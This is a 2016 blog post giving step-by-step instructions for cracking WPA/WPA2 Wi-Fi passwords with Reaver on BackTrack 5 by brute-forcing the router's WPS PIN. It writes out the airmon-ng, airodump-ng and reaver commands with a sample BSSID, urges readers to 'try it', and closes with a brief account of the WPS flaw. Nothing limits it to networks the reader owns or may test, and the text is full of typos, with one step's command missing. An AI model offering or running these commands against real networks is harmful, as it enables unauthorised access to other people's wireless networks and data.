Saturday, June 4, 2016

How to hack WPA2, WPA with Bazktrack 5 with Reaver!!

Read this article and try it! it’s works !
The first need to you is doenload backtrcak From this site :

step 1: Boot into backtrack
step 2:install reaver

these are code to install reaver

open terminal and type :

apt-get update

apt-get install reaver

step 3:Find your wireless card open terminal and type


hit enter

step 4: type airmon-ng start wlan0

step 5: type airodump-ng mon0

step 6: Crack the wpa password and open terminal and type and hit enter.

reaver -i moninterface -b bssid -vv

this code in my case will look like mine.

reaver -i mon0 -b 8D:AE:9D:65:1F:B2 -vv

hit enter.

Press Enter, sit back, and let Reaver work its disturbing magic. Reaver will now try a series of PINs on the router in a brute force attack, one after another. This will take a while. In my successful test, Reaver took 2 hours and 30 minutes to crack the network and deliver me with the correct password. As mentioned above, the Reaver documentation says it can take between 4 and 10 hours, so it could take more or less time than I experienced, depending.

How reaver works?

Now that you’ve seen how to use Reaver, let’s take a quick overview of how Reaver works. The tool takes advantage of a vulnerability in something called Wi-Fi Protected Setup, or WPS. It’s a feature that exists on many routers, intended to provide an easy setup process, and it’s tied to a PIN that’s hard-coded into the device. Reaver exploits a flaw in these PINs; the result is that, with enough time, it can reveal your WPA or WPA2 password.


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